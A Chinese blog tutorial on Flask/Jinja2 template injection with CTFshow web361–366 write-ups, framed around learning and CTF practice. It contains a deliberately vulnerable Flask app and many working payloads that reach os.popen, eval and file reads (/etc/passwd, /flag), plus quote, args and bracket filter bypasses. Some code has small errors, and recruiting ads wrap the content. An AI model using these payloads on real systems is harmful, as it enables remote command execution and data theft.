ssti模版注入(看完就会了)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

具体举例可以是我们开发的blog想换主题,都是直接换模版,但是数据库不会换,这样一些主题是通过向数据库拿数据来确定数据,如果我们把模版数据换了就会造成注入

flask基础

route装饰器路由

@app.route('/')

使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。

例如

from flask import flask 
app = Flask(__name__)
@app.route('/')
def test()"
   return 123
@app.route('/index/')
def hello_word():
    return 'hello word'
if __name__ == '__main__':
    app.run(port=5000)

访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word

在用@app.route('/')的时候,在之前需要定义app = Flask(__name__)不然会报错

还可设置动态网址

@app.route("/<username>")
def hello_user(username):
  return "user:%s"%username

脚本运行

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
​
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
    return 'Hello World!'
​
@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404
​
if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

正常是hello world!

但是如果页面不正常就是404,我们随便访问一个没有的页面,就会报错

image-20240217211918717

''' % (request.args.get('404_url'))
    return render_template_string(template), 404

通过上面的代码就会发现,none是通过404_url来的,那么我们传参?404_url=1看看结果,果然变成1了

image-20240217211839689

换成{{7-7}}

image-20240217212006509

这就是ssti注入

模板渲染方法

flask渲染方法有render_template和render_template_string两种,我们需要做的就是,将我们想渲染的值传入模板的变量里

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

这个时候我们就需要了解一下flask的目录结构了

├── app.py  
├── static  
│   └── style.css  
└── templates  
    └── index.html

其中,static和templates都是需要自己新建的。其中templates目录里的index.html就是所谓的模板

我们写一个index.html

<html>
  <head>
    <title>{{title}}</title>
  </head>
 <body>
      <h1>Hello, {{name}}!</h1>
  </body>
</html>

这里面需要我们传入两个值,一个是title另一个是name。 我们在server.py里面进行渲染传值

from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')   
def index():
   return render_template("index.html",title='Home',name='user')
if __name__ == '__main__':
    app.run(port=5000)

在这里,我们手动传值的,所以是安全的

但是如果,我们传值的机会给用户

假如我们渲染的是一句话

from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():
    id = request.args.get('id')
    html = '''
    <h1>%s</h1>
    '''%(id)
    return render_template_string(html)
if __name__ == '__main__':
    app.run(port=5000)

如果我们传入一个xss就会达到我们需要的效果

传入的值被html直接运行回显,我们对代码进行微改。

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

再次传入xss就不能实现了

因为在传入相应的值得时候,会对值进行转义,这样就很能好多而避免了xss这些

所以SSTI注入形成的原因就是:开发人员因为懒惰,没有将渲染模板写成一个文件,而是直接用render_template_string来渲染,当然,如果有传值过程还行,但是如果没有传值过程,传入数据不经过转义,那可能就会导致SSTI注入。 那么漏洞原理就是因为不够严谨的构造代码导致的。

魔法方法和内置属性

在写题前,先了解python的一些ssti的魔术方法。 __class__

用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型,返回**<type ‘type’> ;** 也是类的实例的属性,表示实例对象的类。

>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>
__bases__

用来查看类的基类也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。注意是直接父类!!! 使用语法:类名.bases

>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)

__mro__也能获取基类

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

__subclasses__() 获取当前类的所有子类,即Object的子类

>>> ''.__class__.__bases__[0].__subclasses__()[0]
<class 'type'>

而我们注入就是通过拿到Object的子类,使用其中的一些函数,进行文件读取或者命令执行。 __init__ 重载子类,获取子类初始化的属性。 __globals__ 函数会以字典的形式返回当前位置的全部全局变量 就比如:os._wrap_close.__init__.__globals__,可以获取到os中的一些函数,进行文件读取。

我们可以尝试上面的代码

[].__class__.__base__.__subclasses__()

调用 class 方法获取的是 [] 所处的类 list。接着,通过 base 方法获取了 list 类的基类 object。然后再调用 subclasses() 方法,获取的是 object 的所有子类,也就是所有 Python 中定义的类,以及这些类的子类和后代类

image-20240218212340535

文件读取

类的知识总结(转载)
__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。
​
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1      get传参
request.values.x1    所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1      post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         post传参 (Content-Type:a/b)
request.json         post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>
常见过滤器(转载)
常用的过滤器
​
int():将值转换为int类型;
​
float():将值转换为float类型;
​
lower():将字符串转换为小写;
​
upper():将字符串转换为大写;
​
title():把值中的每个单词的首字母都转成大写;
​
capitalize():把变量值的首字母转成大写,其余字母转小写;
​
trim():截取字符串前面和后面的空白字符;
​
wordcount():计算一个长字符串中单词的个数;
​
reverse():字符串反转;
​
replace(value,old,new): 替换将old替换为new的字符串;
​
truncate(value,length=255,killwords=False):截取length长度的字符串;
​
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
​
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
​
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
​
list():将变量列成列表;
​
string():将变量转换成字符串;
​
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
​
abs():返回一个数值的绝对值;
​
first():返回一个序列的第一个元素;
​
last():返回一个序列的最后一个元素;
​
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
​
length():返回一个序列或者字典的长度;
​
sum():返回列表内数值的和;
​
sort():返回排序后的列表;
​
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
​
length()返回字符串的长度,别名是count

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件

ctf试题

利用链

‘popen’ 对象通常是 Python 中的 subprocess 模块中的一个类或函数,用于执行外部命令并获取其输出。在这种情况下,‘popen’ 对象的作用是执行系统命令 whoami 并返回当前用户的用户名。

直接使用 popen(python2不行)

os._wrap_close 类里有popen
​
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用 os 下的 popen

含有 os 的基类都可以,如 linecache
​
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

使用import下的os(python2不行)

可以使用 __import__ 的 os
​
"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()

builtins下的多个函数

__builtins__下有eval,__import__等的函数,可以利用此来执行命令
​
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

利用 python2 的 file 类读取文件

在 python3 中 file 类被删除
​
# 读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
# 写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
# python2的str类型不直接从属于属于基类,所以要两次 .__bases__

flask内置函数

Flask内置函数和内置对象可以通过{{self.__dict__._TemplateReference__context.keys()}}查看,然后可以查看一下这几个东西的类型,类可以通过__init__方法跳到os,函数直接用__globals__方法跳到os。(payload一下子就简洁了)
​
{{self.__dict__._TemplateReference__context.keys()}}
#查看内置函数
#函数:lipsum、url_for、get_flashed_messages
#类:cycler、joiner、namespace、config、request、session
{{lipsum.__globals__.os.popen('ls').read()}}
{{url_for.__globals__['os']['popen']('cat /flag').read()}}
#函数
{{cycler.__init__.__globals__.os.popen('ls').read()}}
#类

dict__就能找到里面的config

通用 getshell

原理就是找到含有 __builtins__ 的类,然后利用
​
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

注入思路

1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class 'object'>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell
​
对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数

以上思路来自这位师傅CTFshow刷题日记-WEB-SSTI(web361-372)_ctfshow ssti 371-CSDN博客_ctfshow ssti 371-CSDN博客")

ctfshow
web361

image-20240218222650227

你好,某某某,可以猜到传参一个应该是name

先试试{{4*4}},可以看出是ssti注入

image-20240218222926684

这里可以判断一下注入类型

image-20240217151419198

输入{{4*‘4’}},返回16表示是 Twig 模块

输入{{4*‘4’}},返回4444表示是 Jinja2 模块

显然是Jinja2 模块

image-20240218223156150

查找可以利用的函数

?name={{''.__class__.__base__.__subclasses__()}}

提供 os._wrap_close 中的 popen 函数

image-20240218223323922

这很麻烦需要一个一个数,第132个子类

但是网上好像有脚本,可以试试

所以payload

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac ../flag').read()}}

也可以直接用 lipsum 和 cycler 执行命令

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

或者用控制块去直接执行命令

?name={% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()"))%}
  1. {% ... %}:这表示一个模板语句块,在 Flask 中,这用于执行模板中的代码。
  2. url_for:这是 Flask 中用于生成 URL 的函数。
  3. url_for.__globals__:这是 url_for 函数对象的全局命名空间,其中包含了函数被定义时的全局命名空间。
  4. ['__builtins__']:这是 Python 中每个模块都有的一个属性,包含了内置函数和异常的命名空间。
  5. ['eval']:这是 Python 内置函数 eval 的引用,允许执行字符串中的 Python 表达式。
  6. ("__import__('os').popen('cat ../flag').read()"):这是一个字符串,其中包含了一个 Python 表达式,它会导入 os 模块,执行 cat ../flag 命令来读取敏感文件的内容,并返回该内容。
  7. __builtins__['eval']("__import__('os').popen('cat ../flag').read()"):这是在模板中执行内置函数 eval,并传入上述字符串作为参数,实际上就是执行了敏感操作。
  8. print(...):这是 Python 中的打印函数,用于将 eval 函数的结果打印出来。
web362

发现2和3被过滤了

image-20240219143303596

绕过方法:用全角数字 ‘0’,‘1’,‘2’,‘3’,‘4’,‘5’,‘6’,‘7’,‘8’,‘9’

全角:是一种电脑字符,是指一个全角字符占用两个标准字符(或两个半角字符)的位置。全角占两个字节。

半角:是指一个字符占用一个标准的字符位置。半角占一个字节。

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}  
​
?name={{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
​
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
​
?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
web363

过滤了单引号、双引号

get 传参方式绕过

?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag
//因为传参会自动补上双引号
​
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag
web364

过滤了单双引号,args

values 可以获取所有参数,从而绕过 args

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

也可以通过 cookie 绕过

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
a=os;b=popen;c=cat /flag

image-20240219152316704

web365

fuzz 字典跑一遍,发现单双引号、args、[]被过滤

方法一:values传参 values 没有被过滤

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

方法二:cookie传参

?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
web366

过滤了单双引号、args、中括号[]、下划线

传参绕过检测

values依旧

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 24
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值